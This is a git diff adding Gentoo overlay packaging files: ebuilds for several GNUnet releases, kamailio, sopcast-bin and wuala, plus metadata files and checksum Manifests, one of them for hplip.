+SRC_URI="http://ftp.gnu.org/gnu/gnunet/${PN}-${MY_PV}.tar.gz"
+#tests don't work
+RESTRICT="test"
+
+IUSE="mysql nls sqlite"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+S="${WORKDIR}/${PN}-${MY_PV}"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.6.1
+	>=dev-libs/gmp-4.0.0
+	sys-libs/zlib
+	net-misc/curl
+	gtk? ( >=x11-libs/gtk+-2.6.10 )
+	sys-apps/sed
+	mysql? ( >=virtual/mysql-4.0 )
+        sqlite? ( >=dev-db/sqlite-3.0.8 )
+	nls? ( sys-devel/gettext )
+	>=net-libs/libmicrohttpd-0.4.6"
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunetd
+	enewuser gnunetd -1 -1 /dev/null gnunetd
+}
+
+src_prepare() {
+	epatch ${FILESDIR}/${PN}-0.9.0_pre0-gentoo.patch
+	sed -i 's:@GN_USER_HOME_DIR@:/etc:g' src/include/gnunet_directories.h.in
+	AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	local myconf
+	use mysql || myconf="${myconf} --without-mysql"
+	econf \
+		$(use_enable nls) \
+		${myconf} || die "econf failed"
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" -j1 install || die "make install failed"
+	dodoc AUTHORS ChangeLog INSTALL NEWS README
+	insinto /etc
+	sed -i 's:$SERVICEHOME:/var/lib/gnunet:g' ${S}/contrib/defaults.conf
+	sed -i 's:$DEFAULTCONFIG:/etc/gnunet.conf:g' ${S}/contrib/defaults.conf
+	newins contrib/defaults.conf gnunet.conf
+	docinto contrib
+	dodoc contrib/*
+	newinitd "${FILESDIR}"/${PN}.initd-0.9.0v2 gnunet
+	dodir /var/lib/gnunet
+	chown gnunetd:gnunetd "${D}"/var/lib/gnunet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet
+
+	ewarn "This ebuild is HIGLY experimental"
+}
diff --git a/net-p2p/gnunet/gnunet-0.9.0_pre2.ebuild b/net-p2p/gnunet/gnunet-0.9.0_pre2.ebuild
new file mode 100644
index 00000000..25fac619
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.9.0_pre2.ebuild
@@ -0,0 +1,83 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+
+inherit eutils autotools
+
+MY_PV="${PV/_/}"
+
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://ftp.gnu.org/gnu/gnunet/${PN}-${MY_PV}.tar.gz"
+#tests don't work
+RESTRICT="test"
+
+IUSE="mysql nls sqlite"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+S="${WORKDIR}/${PN}-${MY_PV}"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.6.1
+	>=dev-libs/gmp-4.0.0
+	sys-libs/zlib
+	net-misc/curl
+	sys-apps/sed
+	mysql? ( >=virtual/mysql-4.0 )
+        sqlite? ( >=dev-db/sqlite-3.0.8 )
+	nls? ( sys-devel/gettext )
+	>=net-libs/libmicrohttpd-0.4.6"
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunetd
+	enewuser gnunetd -1 -1 /dev/null gnunetd
+}
+
+src_prepare() {
+	epatch ${FILESDIR}/${PN}-0.9.0_pre2-gentoo.patch
+	sed -i 's:@GN_USER_HOME_DIR@:/etc:g' src/include/gnunet_directories.h.in
+	AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	local myconf
+	use mysql || myconf="${myconf} --without-mysql"
+	econf \
+		$(use_enable nls) \
+		${myconf} || die "econf failed"
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" -j1 install || die "make install failed"
+	dodoc AUTHORS ChangeLog INSTALL NEWS README
+	insinto /etc
+	sed -i 's:$SERVICEHOME:/var/lib/gnunet:g' ${S}/contrib/defaults.conf
+	sed -i 's:$DEFAULTCONFIG:/etc/gnunet.conf:g' ${S}/contrib/defaults.conf
+	newins contrib/defaults.conf gnunet.conf
+	docinto contrib
+	dodoc contrib/*
+	newinitd "${FILESDIR}"/${PN}.initd-0.9.0v2 gnunet
+	dodir /var/lib/gnunet
+	chown gnunetd:gnunetd "${D}"/var/lib/gnunet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet
+
+	ewarn "This ebuild is HIGLY experimental"
+}
diff --git a/net-p2p/gnunet/gnunet-0.9.1.ebuild b/net-p2p/gnunet/gnunet-0.9.1.ebuild
new file mode 100644
index 00000000..118d5c2a
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.9.1.ebuild
@@ -0,0 +1,78 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+
+inherit eutils autotools
+
+MY_PV="${PV/_/}"
+
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://ftp.gnu.org/gnu/gnunet/${PN}-${MY_PV}.tar.gz"
+#tests don't work
+RESTRICT="test"
+
+IUSE="mysql nls sqlite"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+S="${WORKDIR}/${PN}-${MY_PV}"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.6.1
+	>=dev-libs/gmp-4.0.0
+	sys-libs/zlib
+	net-misc/curl
+	sys-apps/sed
+	mysql? ( >=virtual/mysql-4.0 )
+        sqlite? ( >=dev-db/sqlite-3.0.8 )
+	nls? ( sys-devel/gettext )
+	>=net-libs/libmicrohttpd-0.4.6"
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunetd
+	enewuser gnunetd -1 -1 /dev/null gnunetd
+}
+
+src_prepare() {
+	sed -i 's:@GN_USER_HOME_DIR@:/etc:g' src/include/gnunet_directories.h.in
+	AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	local myconf
+	use mysql || myconf="${myconf} --without-mysql"
+	econf \
+		$(use_enable nls) \
+		${myconf} || die "econf failed"
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" -j1 install || die "make install failed"
+	dodoc AUTHORS ChangeLog INSTALL NEWS README
+	docinto contrib
+	dodoc contrib/*
+	newinitd "${FILESDIR}"/${PN}.initd-0.9.0v2 gnunet
+	dodir /var/lib/gnunet
+	chown gnunetd:gnunetd "${D}"/var/lib/gnunet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet
+
+	ewarn "This ebuild is HIGLY experimental"
+}
diff --git a/net-p2p/gnunet/gnunet-0.9.2.ebuild b/net-p2p/gnunet/gnunet-0.9.2.ebuild
new file mode 100644
index 00000000..40c1b6f0
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.9.2.ebuild
@@ -0,0 +1,79 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+
+inherit eutils autotools
+
+MY_PV="${PV/_/}"
+
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://ftp.gnu.org/gnu/gnunet/${PN}-${MY_PV}.tar.gz"
+#tests don't work
+RESTRICT="test"
+
+IUSE="mysql nls sqlite"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+S="${WORKDIR}/${PN}-${MY_PV}"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.6.1
+	>=dev-libs/gmp-4.0.0
+	sys-libs/zlib
+	net-misc/curl
+	sys-apps/sed
+	mysql? ( >=virtual/mysql-4.0 )
+        sqlite? ( >=dev-db/sqlite-3.0.8 )
+	nls? ( sys-devel/gettext )
+	>=net-libs/libmicrohttpd-0.4.6
+	dev-libs/libunistring"
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunetd
+	enewuser gnunetd -1 -1 /dev/null gnunetd
+}
+
+src_prepare() {
+	sed -i 's:@GN_USER_HOME_DIR@:/etc:g' src/include/gnunet_directories.h.in
+	AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	local myconf
+	use mysql || myconf="${myconf} --without-mysql"
+	econf \
+		$(use_enable nls) \
+		${myconf} || die "econf failed"
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" -j1 install || die "make install failed"
+	dodoc AUTHORS ChangeLog INSTALL NEWS README
+	docinto contrib
+	dodoc contrib/*
+	newinitd "${FILESDIR}"/${PN}.initd-0.9.0v2 gnunet
+	dodir /var/lib/gnunet
+	chown gnunetd:gnunetd "${D}"/var/lib/gnunet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet
+
+	ewarn "This ebuild is HIGLY experimental"
+}
diff --git a/net-p2p/gnunet/gnunet-0.9.3.ebuild b/net-p2p/gnunet/gnunet-0.9.3.ebuild
new file mode 100644
index 00000000..0473168e
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.9.3.ebuild
@@ -0,0 +1,81 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+
+inherit eutils autotools
+
+MY_PV="${PV/_/}"
+
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://ftp.gnu.org/gnu/gnunet/${PN}-${MY_PV}.tar.gz"
+#tests don't work
+RESTRICT="test"
+
+IUSE="mysql nls sqlite postgres"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+S="${WORKDIR}/${PN}-${MY_PV}"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.6.1
+	>=dev-libs/gmp-4.0.0
+	sys-libs/zlib
+	net-misc/curl
+	sys-apps/sed
+	mysql? ( >=virtual/mysql-4.0 )
+        sqlite? ( >=dev-db/sqlite-3.0.8 )
+	nls? ( sys-devel/gettext )
+	>=net-libs/libmicrohttpd-0.4.6
+	dev-libs/libunistring"
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunetd
+	enewuser gnunetd -1 -1 /dev/null gnunetd
+}
+
+src_prepare() {
+	sed -i 's:@GN_USER_HOME_DIR@:/etc:g' src/include/gnunet_directories.h.in
+	AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	local myconf
+	myconf=" --with-sudo"
+	use mysql || myconf="${myconf} --without-mysql"
+	use postgres || myconf="${myconf} --without-postgres"
+	econf \
+		$(use_enable nls) \
+		${myconf} || die "econf failed"
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" -j1 install || die "make install failed"
+	dodoc AUTHORS ChangeLog INSTALL NEWS README
+	docinto contrib
+	dodoc contrib/*
+	newinitd "${FILESDIR}"/${PN}.initd-0.9.0v2 gnunet
+	dodir /var/lib/gnunet
+	chown gnunetd:gnunetd "${D}"/var/lib/gnunet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet
+
+	ewarn "This ebuild is HIGLY experimental"
+}
diff --git a/net-p2p/gnunet/gnunet-0.9.5a.ebuild b/net-p2p/gnunet/gnunet-0.9.5a.ebuild
new file mode 100644
index 00000000..eb1ab828
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.9.5a.ebuild
@@ -0,0 +1,82 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+
+inherit eutils autotools
+
+MY_PV="${PV/_/}"
+
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://ftp.gnu.org/gnu/gnunet/${PN}-${MY_PV}.tar.gz"
+#tests don't work
+RESTRICT="test"
+
+IUSE="mysql nls sqlite postgres"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+S="${WORKDIR}/${PN}-${MY_PV}"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.6.1
+	>=dev-libs/gmp-4.0.0
+	sys-libs/zlib
+	net-misc/curl
+	sys-apps/sed
+	mysql? ( >=virtual/mysql-5.1 )
+        sqlite? ( >=dev-db/sqlite-3.0.8 )
+	nls? ( sys-devel/gettext )
+	>=net-libs/libmicrohttpd-0.9.18
+	dev-libs/libunistring
+	>=sci-mathematics/glpk-4.45"
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunetd
+	enewuser gnunetd -1 -1 /dev/null gnunetd
+}
+
+src_prepare() {
+	sed -i 's:@GN_USER_HOME_DIR@:/etc:g' src/include/gnunet_directories.h.in
+	AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	local myconf
+	myconf=" --with-sudo --with-nssdir=/usr/lib"
+	use mysql || myconf="${myconf} --without-mysql"
+	use postgres || myconf="${myconf} --without-postgres"
+	econf \
+		$(use_enable nls) \
+		${myconf} || die "econf failed"
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" -j1 install || die "make install failed"
+	dodoc AUTHORS ChangeLog INSTALL NEWS README
+	docinto contrib
+	dodoc contrib/*
+	newinitd "${FILESDIR}"/${PN}.initd-0.9.0v2 gnunet
+	dodir /var/lib/gnunet
+	chown gnunetd:gnunetd "${D}"/var/lib/gnunet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet
+
+	ewarn "This ebuild is HIGLY experimental"
+}
diff --git a/net-p2p/gnunet/metadata.xml b/net-p2p/gnunet/metadata.xml
new file mode 100644
index 00000000..f7789b68
--- /dev/null
+++ b/net-p2p/gnunet/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+	<herd>no-herd</herd>
+	<maintainer>
+		<email>ycarus@zugaina.org</email>
+		<name>Ycarus</name>
+	</maintainer>
+</pkgmetadata>
diff --git a/net-p2p/kamailio/Manifest b/net-p2p/kamailio/Manifest
new file mode 100644
index 00000000..e3add046
--- /dev/null
+++ b/net-p2p/kamailio/Manifest
@@ -0,0 +1 @@
+EBUILD kamailio-9999.ebuild 584 SHA256 19871cbeb6403a5404166eb8b3760543a927f0238e521bc59f24f2e6bc4a0f8e SHA512 530b49431db877fbff5f4ba36624514d232d596667ee03999b5f9d071180efb3dccfc7ea4ad3ddbea0209d6fc2a6dda01a775b90a778cd5669bc577f9601971d WHIRLPOOL d2656c768546e7d300055c10c3d9c44bb20c2beafa8332da98ae6919b7e5d8fdae17ea32b4b5c766ab3e0e6becf3c1ebaf7665daa06cdc48c852a3ba3bf84376
diff --git a/net-p2p/kamailio/kamailio-9999.ebuild b/net-p2p/kamailio/kamailio-9999.ebuild
new file mode 100644
index 00000000..dd40d4dc
--- /dev/null
+++ b/net-p2p/kamailio/kamailio-9999.ebuild
@@ -0,0 +1,29 @@
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="5"
+
+inherit git-2 autotools
+
+DESCRIPTION="fuse module for access to iphone and ipod touch without jailbreak"
+HOMEPAGE="http://www.kamailio.org/w/"
+EGIT_REPO_URI="git://git.sip-router.org/kamailio"
+
+LICENSE="GPLv2"
+SLOT="0"
+KEYWORDS="~x86 ~amd64"
+IUSE=""
+
+DEPEND=""
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}"
+
+src_unpack() {
+	git-2_src_unpack
+	die
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die "install failed"
+}
diff --git a/net-p2p/sopcast-bin/Manifest b/net-p2p/sopcast-bin/Manifest
new file mode 100644
index 00000000..d00de8fd
--- /dev/null
+++ b/net-p2p/sopcast-bin/Manifest
@@ -0,0 +1,3 @@
+DIST sp-auth-3.2.6.tar.gz 345856 SHA256 6ea333b51898ee61f37903f20503358e8ee328cbd8b49d910fa7e0f23bf8a4a0 SHA512 9d9c547df24b30ffe7ee33d0783005eff3f8b90d0955f58faa8380102e10de8f9ab6098ff53ecacaa3c275bf7b206b98f6ae9a365abb362531a3d28888e666af WHIRLPOOL 21b7269c41e43ec292302bca97bf9d65f506649aaed751fe2777199cf866e94cdd324294d60a1c24202eb2e973214406f167b50cfb55282289b301ca3d9c4e0b
+EBUILD sopcast-bin-3.2.6.ebuild 820 SHA256 69cc95a86e84dea8704a6e2888352e7662bd43797cc2c94e1df951951c7cac03 SHA512 0087c8d79ac131b1f341b76269973b05cc7f7485abfd391c674a4e79dd4a09daa3401ffc8b96a32a1c6b2acee6be84ec8ddac211a917e09cf0e3a22cfd401cb4 WHIRLPOOL 615b3c7b3e7465d7564fc177644e2db8e0e77782988dee9105ff75805f8046f693ebaf85ec42202f4665a73e77c49ca8b9dbae7b9e1590c28c94616af8c7d0e3
+MISC metadata.xml 247 SHA256 883dd20701cb074b79a6a73acfa6f7e6c5a0dcafba8f506da3ac324327300d68 SHA512 e0386643908a6a23a6d064d752ea283fa16a243abf8e6ba19636e8702435ffd9c3c215f5cd9f60517ea63eb4d9112fd7291e1f422f96d70fad7ce7d2af1af718 WHIRLPOOL 0301b1dac67e156eaa7fbdeb66d0046d49a02095522c186566b92fc1f8bbc495880b5fac3793a6af9f5804a28ada22da789ceb605226203ad1a8690db7341dc1
diff --git a/net-p2p/sopcast-bin/metadata.xml b/net-p2p/sopcast-bin/metadata.xml
new file mode 100644
index 00000000..1b81a17b
--- /dev/null
+++ b/net-p2p/sopcast-bin/metadata.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+	<herd></herd>
+	<maintainer>
+		<email>lazy_bum@o2.pl</email>
+		<name>Piotr Szymaniak</name>
+	</maintainer>
+</pkgmetadata>
+
diff --git a/net-p2p/sopcast-bin/sopcast-bin-3.2.6.ebuild b/net-p2p/sopcast-bin/sopcast-bin-3.2.6.ebuild
new file mode 100644
index 00000000..94bcede2
--- /dev/null
+++ b/net-p2p/sopcast-bin/sopcast-bin-3.2.6.ebuild
@@ -0,0 +1,35 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+
+inherit eutils
+
+MY_P="sp-auth"
+
+DESCRIPTION="SopCast free P2P Internet TV binary"
+LICENSE="SopCast-unknown-license"
+HOMEPAGE="http://www.sopcast.com/"
+SRC_URI="http://sopcast-player.googlecode.com/files/${MY_P}-${PV}.tar.gz"
+
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+QA_PRESTRIPPED="opt/${PN}/${PN}"
+
+# All dependencies might not be listed, since the binary blob's homepage only lists libstdc++
+RDEPEND="amd64? ( app-emulation/emul-linux-x86-compat )
+	x86? ( >=virtual/libstdc++-3.3 )"
+
+DEPEND="${RDEPEND}"
+
+S=${WORKDIR}/${MY_P}
+
+src_install() {
+	exeinto /opt/${PN}
+	newexe sp-sc-auth ${PN} || die "newexe failed"
+	dosym /opt/${PN}/${PN} /usr/bin/${PN}
+	dodoc Readme || die "dodoc failed"
+}
diff --git a/net-p2p/wuala/Manifest b/net-p2p/wuala/Manifest
new file mode 100644
index 00000000..1779c9ac
--- /dev/null
+++ b/net-p2p/wuala/Manifest
@@ -0,0 +1,2 @@
+DIST wuala.tar.gz 321761 SHA256 c4f8b763db67670505a54d2b227891fd2ed4a73717b473d0c3b201de51afdedc SHA512 130f77843fc835e2a2b3b70bccdbf74439e5008f03c92a3ccc934be0aabdace145f02165f27fc49809849eabc9cc66b18d05921669475350bf58f02d828dd91d WHIRLPOOL c3a7ac54885109df869434ecdafc782c8b25fc01aea85ea67148cb1bf9d7a6d0f3f900943450cad4220a4adb522d3dfb584eb9b8b68fce57372ed470b56e6f3d
+EBUILD wuala-0_pre20120716.ebuild 757 SHA256 d09d26b719e08077c491ebe249fec118f0a8ea6192e33c533770c28a899b2e42 SHA512 cb64141db9538a417d77325b6940084951385d79790c65748a718b24240fdafe2b4dd3f0111d8b8366981908ca2f9687e1c276e74acf48f52f8fde917e7d4e4a WHIRLPOOL 039ef7a6bd03dc7b10a9aad500856b45eac47db072f95593dba528643e08980ea07b8fceee2f300ba0566c2a25e60def8c1c9a5966524cd5af2dcc69e38654fe
diff --git a/net-p2p/wuala/wuala-0_pre20120716.ebuild b/net-p2p/wuala/wuala-0_pre20120716.ebuild
new file mode 100644
index 00000000..3e8f3674
--- /dev/null
+++ b/net-p2p/wuala/wuala-0_pre20120716.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+DESCRIPTION="Wuala, your free online hard-disk"
+HOMEPAGE="http://wuala.com/"
+SRC_URI="http://cdn.wuala.com/repo/other/wuala.tar.gz"
+
+LICENSE="wuala"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND="sys-fs/fuse
+	>=virtual/jre-1.5.0"
+
+S="${WORKDIR}/${PN}"
+
+src_prepare() {
+	sed -i wuala -e 's|loader3\.jar|/opt/wuala/loader3.jar|'
+	sed -i wualacmd -e 's|\./wuala|/opt/bin/wuala|'
+}
+
+src_install() {
+	dodir "/opt/${PN}"
+
+	insinto "/opt/${PN}"
+	doins loader3.jar
+
+	exeinto "/opt/${PN}"
+	doexe wuala wualacmd
+	dosym "/opt/${PN}/wuala" "/opt/bin/wuala"
+	dosym "/opt/${PN}/wualacmd" "/opt/bin/wualacmd"
+
+	dodoc readme.txt
+}
diff --git a/net-print/hplip/Manifest b/net-print/hplip/Manifest
new file mode 100644
index 00000000..d7f98c2a
--- /dev/null
+++ b/net-print/hplip/Manifest
@@ -0,0 +1,22 @@
+AUX hplip-3.10.9-cve-2010-4267.patch 405 SHA256 2280fb55a03d61edbd8ff928ae016c2e58e77bede83226f3d8e627e95fa6103f SHA512 25d17a65008b99fe9fc12d3a2698ec84afda96d728b184cf904fea22641b073450f1e0522d7e002b22d4c2768591cf6cb5a585a9828960ad1484a6ffda83f7b9 WHIRLPOOL 7dcf0aa4f58ef388d2edc973456b8deaca62aa5a9838b42deddc29b837326256ef774d3845f56e14b4dc035205c3de37d2be37ca09df88f14186992dfa4645c7
+AUX hplip-3.11.1-desktop.patch 506 SHA256 557faf17a05f3707e2918673ed5eff56954feab0d5555b535236c938306f4523 SHA512 64bf8e15dc3e2c7c26e599c8f69c67c169b5d422c3e668320810470bb6f1c4c7e47158efd7e1a27b9161b13e4b3df98af7ab52e47e11c92ac6d5a79437159291 WHIRLPOOL 8f085f996ce06ccccf20cfbd82bb42f1bc846d7568d6f1bbae3a85b9e8115fa93cdf2085a558cd21a98b5e6654fb0487fa676d6ed6cc6d83f2e70bc80e971c27
+AUX hplip-3.11.1-htmldir.patch 4470 SHA256 30185a66b033dfdf0db59e600b19454c7680f3fa09ea8c24adf0fff19c15585e SHA512 886426731959a5e8453a8fd2676563a143183c2ecb030cf58d07aa506088b01c2148b607304055451a26ec8d1228dcad986c1641bf8dfb51d682f05c11ee8e1a WHIRLPOOL d3ddd311f347e7b6110e8ea3189075cba8484ae6889711c34be204400002b6f8f1b89eaee2ec2d9d60c306d12c9bcb670ac13f296fc1b6fd294deed08fa714ba
+AUX hplip-3.11.10-udev-attrs.patch 13895 SHA256 83a7b126877f49fbfb28e5d9df26607e1f165a74a865030023c081c60e7256cd SHA512 f0c84e043c20eabe009eaee04785cb5969df56d2e7ec7e72860f3b727c8a4f7efd6f9b2cf106ea15e223ee3c436a0aba7f462f2c9940367bd09032338c3183cc WHIRLPOOL 566479e5b40bc8c86a87859bb4be5a3d2428907b7582ffbca84dceb95dad3c0bf757efaf1b1a35a29ce75eecd1a3a26559e2f02910812fb71d17dbb7be472b3a
+AUX hplip-3.9.10-browser.patch 1447 SHA256 0e3b3b251ff4cf73032f4c78b6c0495b2d95fefd53d9fd8897faf6528ddd2875 SHA512 95d15191193d1cb8da3cab6a6f7748ec56cafba7625ec2e437510c04a46cb2265e03290793315b8eed3d69c481ffaa1b9745946d6f943ff477d0f1f6df4a1c17 WHIRLPOOL e204c62ccc1843d8353e1f7512f33083f7477ab3957f90c54208d1e0b8c3badb25a478e9e2ef4a5fe4350dfc8ebff436f413e9d7eb2c1307f6bdd4cca51d9ea3
+AUX hplip-3.9.12-cupsddk.patch 1265 SHA256 3050221f497c14ae3a7a093043018d55f4deb2b2ebd81840a8285cec4eb7759d SHA512 761ac5f14ca17c3beca6a46c32aafcd5180582d24810b9b2f2c636a19997ae4fe777c011eddfa4a03341854f99c492552d946cc843d2cada05a5d54d2cd61530 WHIRLPOOL 32684fcc8adf2fb0bd2775f98e976a8e04e7e00151b3ab7f3d7c7b0fe67149ad0f7bac7f571c341163266ef94d30dd31ddc80ea5ddab49f257eb2b44220a2a54
+AUX hplip-3.9.12-systray.patch 795 SHA256 a2eee24cefe2f40b81bc735fb528dec932864b083bb0cf1305d5d7a8cc5bd719 SHA512 808795411e334fda023be54b52856d4068c3c016bc1b05eeccf93a24d82c7c9289a2a775017cf2962154a52c5ca19778d075e70f93e07c2e7a03fce30f9322a9 WHIRLPOOL e3d52948ca910077bc588c00303fc7b6b8ec07806a529dd020d03a6d6ab4877f24d4db33b295c95cce7527bbb3622eda6ef57b210859f2cebebba5b05c732d16
+DIST hplip-3.12.10-patches-1.tar.xz 10496 SHA256 7b8f10c1e58ca60778c5c240e51d68472237a45235a03f0b54cd1ffc9dac9632 SHA512 4947077b17bc9f4714302c99917d359cc7dda728393c8fe88d21f26e923dcb5d0535fc56c403920fce359be2951e6ac0c92cb5ba3a659bca452e08f83d8a09a8 WHIRLPOOL f759953c8495eddd0df0bbb3f2ad29e28004659d39f1d415c89604fdebf6729e914ab6830c540ff9c3f693ceb609aff882265bc0ff8a8d1e2637285d7d51158f
+DIST hplip-3.12.10.tar.gz 21832868 SHA256 66c159421c6941e20c88e9372ad2885248b0fc0546c1896cfbfce7ff840faa08 SHA512 213c9dc8d4649c08800b68f6acf4bf4e839c6a5e9aba9cc89ab7ca7c3e3bc9a6eadb3354b1fc707e3964871bde2302b71fc71ad7e7c363b9b1aa280dcff22d2b WHIRLPOOL b1845a5603efada201092bfe3aa898465645d1b8d6a0289232ea20f0352aa065c27584425299b5de5eea55085bf717bcc3bb1e8df6dacc88ec239e991a45b1da
+DIST hplip-3.12.10a.tar.gz 21827613 SHA256 616a30f260407f959874d35d351eaf73c74f7f8f016a7826286c88d923a4b1fc SHA512 870a794fdd729aa69b392c3d5cba764ee77141be16313adaf43089c82de397b64517e88d986ecc6f1766cdd5381fa103528ee214358e7b9398f7d4bd70d5f33c WHIRLPOOL 45d2831f593b609b4e4e774c0bf446dd98cb8ad4eba797baafbc43d8af4897764973066348dde08f97ae90635becbe3e91419fbc080d4fdb0a3771b8e63d3c89
